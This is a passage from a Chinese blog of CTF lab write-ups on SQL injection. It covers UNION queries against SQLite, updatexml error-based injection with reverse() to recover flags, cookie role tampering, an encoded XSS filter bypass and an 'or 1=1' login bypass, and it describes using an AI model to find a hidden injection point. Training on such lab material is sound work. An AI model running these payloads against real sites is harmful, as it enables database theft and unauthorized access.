cursor.execute(sql, (g.user,)) user = cursor.fetchone() return render_template("profile.html", user=user)作者也提示了,二次注入,然后也泄露了管理员的用户名和密码,那么我们可以直接登录管理员用户,然后去查看简介

修改简介,尝试注入,不过这个payload我也没构造出来,直接看wp了
UPDATE users' SET bio = '' = (SELECT @flag:=(SELECT flag FROM secrets WHERE owner_id=1)), bio = @flag --' WHERE username = 'xxxx单引号闭合前面的bio的单引号,注释符号注释掉后面的语句,然后中间是从secrets查询flag并复制给flag这个变量,然后修改bio为flag这个变量,但是我没搞懂,二次注入呢,这顶多算git泄露,然后管理员弱口令登录,然后bio存在sql注入吧,他提到的username压根没用上,第一次的数据都不是我们注入的,而是管理员创建的,这算什么二次注入,不是误导人啊,payload如下
' = (SELECT @flag:=(SELECT flag From secrets Where owner_id=1)), bio = @flag --


数字迷宫
标签里面还是带有敏感文件泄露,还是使用dirsearch跑一下

看一下robots.txt

base64解码一下,发现在线网站无法解码,给我整的一头雾水,然后看了一眼wp才知道要去CyberChef解码

藏在notice的纪里,拼接一下这个路径看看

随便点一个公告看看

测试一下


数字型且无需注释
-1+union+select+flag+from+flag

数据库是sqlite,那么就用之前的语句
-1+union+select+1,2,3,group_concat(name)+from+sqlite_master--

查询到表,然后继续
-1+union+select+1,2,3,group_concat(sql)+from+sqlite_master+where+name="haobachangflag" users,sqlite_autoindex_users_1,sqlite_sequence,announcements,haobachangflag,surprises

flag是空的,继续查surprises表
-1+union+select+1,2,3,group_concat(sql)+from+sqlite_master+where+name="surprises"

继续
-1+union+select+1,2,3,group_concat(sql)+from+sqlite_master+where+name="announcements" -1+union+select+1,2,3,group_concat(sql)+from+sqlite_master+where+name="users"

继续
-1+union+select+1,2,3,group_concat(username,password)+from+users

这里我手工跑出来的密码不完整,直接看别人wp的密码
admin luoye然后公告页面有个首页,点击跳转登录



这个按钮写死的,无法访问,有admin权限也没用

然后发现cookie多了一个user_role,用admin登录后为user,访问之前扫描出来的那个admin_panel,还是 不行,登录另一个账号呢
yueyuji ELON

还是没有反应,直接修改成system试试

有反应了,查看一下具体响应


SQLMap攻防01-来啊,用你的SQLMap打死我
开靶场

输入admin试试


报错了,说明左右都是单引号,且可以使用报错注入,尝试添加注释符号,发现过滤了注释符号

ok,成功绕过,继续,构造payload
admin'&&updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)&&'1'='1 flag{bdcd6727f673441eb2c598c

倒置
admin'&&updatexml(1,reverse(concat(0x7e,(select flag from flag),0x7e)),1)&&'1'='1 }3557de9f5c895c2be144376f727转换拼接
flag{bdcd6727f673441eb2c598c5f9ed7553}

某博客存在SQL注入
开靶场

一边扫目录,一边点几个文章看看

url中没有发现什么,burpsuite看看历史记录

尝试注入,0没数据,1有数据


直接在1后面拼接注入语句试试

1=2试试

数字型注入,爆字段数

依次增加数字,发现字段数为5,继续,content比较长,用它来获取数据


数字西游-欢迎来到水帘洞做客
这题有点没思路,看到页面源代码里面的这段代码,直接请求对应接口返回”何方妖孽”就没了

看了一下思路,大概就是先打留言版的xss,然后打登录框的sql注入,然后就是打管理页面的越权,直接尝试一手
<script>alert('111')</script>

有拦截,编码绕过一下
%3cscript%3ealert(%27111%27)%3c%2fscript%3e

留言成功了,这个时候应该是能够看到访客码了,看了一下历史数据包,还是没有找到,连
/api/check_xss接口的请求数据都没有,重新看了一下我们的留言

原来是被
<li>标签包裹了,手动闭合一下</li>%3cscript%3ealert(%27111%27)%3c%2fscript%3e<li>再次查看数据包,成功拿到我们想要的message
message=%3C%2Fli%3E%253cscript%253ealert%28%2527111%2527%29%253c%252fscript%253e%3Cli%3E根据前面的那段代码去请求对应的接口

unicode解码一下
是大圣的手法,这是你的访客码haobachang666999.

点击进入水帘洞

登录框 ,尝试万能密码

还记得前面那个进入水帘洞的页面吗,我就在想,为什么还需要我手动点一下,而不是直接跳转,当时我就觉得这个页面可能还有东西,然后刚刚重新看了一眼burpsite的历史请求记录,发现了一个账号

接下来就是万能密码的尝试
bengjiangjun123 ' or 1=1--+1成功登录

依次点击各个导航栏,在巡逻日志当中发现了一个base64编码的数字账号

解码后的结果为
bajiangjun3215想起密码重置的功能,看看能不能重置这个账号的密码

直接登录


废话
最后这两题其实我是今天就能刷完的,结果靶场有问题,死活打不开,最后联系平台人员修复,等他修好我又没空了,等我闲下来就是6月17号的23:47了,所以我打算熬个夜把题目刷完,然后明天白天抽空去上传到博客,这剩下的两题要花多久我不知道,我只知道,前面的41题我耗费了13个小时,加油
ShadowCart
还是一样,开靶场,然后抓包分析

jwt解码一下看看
{ "user_id": 2, "username": "test" }说明有个id为1的管理员账号,继续信息收集,数据包很多,所以这里我把HaE开了,方便获取一些信息,如果实在找不到,再去考虑开个xia_sql,然后正常浏览每一个页面看看,这里我开了插件,还是没有找到注入点,想看看提示,只有一个评论说是让我们注意接口,然后我又翻了几遍,还是没有找到,实在没办法,wp没有,因为解出来的人太少了,所以我直接上ai了,结果在花费了0.4rmb,差不多7Mtokens的情况下成功找到注入点并获取到完整的flag,说实话现在ai还是太强了,我用的还只是gpt5.5,然后推理强度也才中,没想到这都能挖出来,看来我后面ai自动化挖洞的skill也要早点提上日程了,然后我又让ai整理了一下思路和笔记我进行翻看
我一开始是将我之前所有的历史请求数据清空,然后注册了一个账号进行登录,然后依次点击每一个可以点击的地方,然后将所有的功能点都点击一遍确保数据有了之后,再去让ai分析历史请求,一开始这一步加上分析,直接10分钟不到0.2元,因为数据非常大,然后测试到一般session出了问题,我又重新登录,并让告诉ai测试,同时又清理了一遍请求历史,也是这一步开始,ai发现常规我点击的功能点接口都没有很明确的sql注入问题
于是它转变思路,去翻找前段的静态资源文件,然后在
/static/js/legacy.js中,它发现了大量的隐藏接口,并找到了一个历史遗留的旧认证接口,然后发现参数存在报错注入,再之后的注入就很简单了,主要是注入点的判断和查找,后面的报错注入手工来也是可以的具体的思路文件我已经上传到我的博客服务器,可以直接通过访问以下地址进行下载
https://lawking.top/ctf/web/Ai/好靶场-ShadowCart-ai自动化测试思路.md还是那句话,你现在抗拒ai,就是像以前一样抗拒插件和脚本,我身边有人花了4w训练了一个自己的skill,然后挖漏洞一年下来产生了40w的收益,而且现在ctf和补天也都能够看到ai的影子,如果还是不愿意接触,那么…
而且像我这样,一遍学传统手艺,一遍ai辅助的也不是没有
1%27%20AND%20updatexml(1,concat(0x7e,(select%20flag%20from%20flags),0x7e),1)--%20 flag{d1e37a3f-817f-4d6b-a153-f4

因为写文档和上传的功夫,导致靶场已经关了,然后flag就不正确了,所以只能重新开一遍,然后注册一个账号进行发包
接下来就是倒置
1%27%20AND%20updatexml(1,reverse(concat(0x7e,(select%20flag%20from%20flags),0x7e)),1)--%20 }4571ba64ce4f-351a-b6d4-f718-f3转换拼接
3f-817f-4d6b-a153-f4ec46ab1754} flag{d1e37a3f-817f-4d6b-a153-f4ec46ab1754}

ctf-sqli2
这个靶场因为迁移倒置无法启动了,靶场助手联系了,也修不好,只能等靶场作者来修了,所以暂时下架了,除了这一题以外的sql注入题目都已解决,42题总计耗时15小时,然后今天还发了一篇文章,那个是为了申请cve的,接下来的下一篇文章是xss的刷题笔记
总结
从手法上来讲,该讲的之前也都讲过了,要不然我也不会15个小时速通完,个人感觉就找注入点可能会比较耗时间一些,其他的基本上确认闭合就能爆数据了










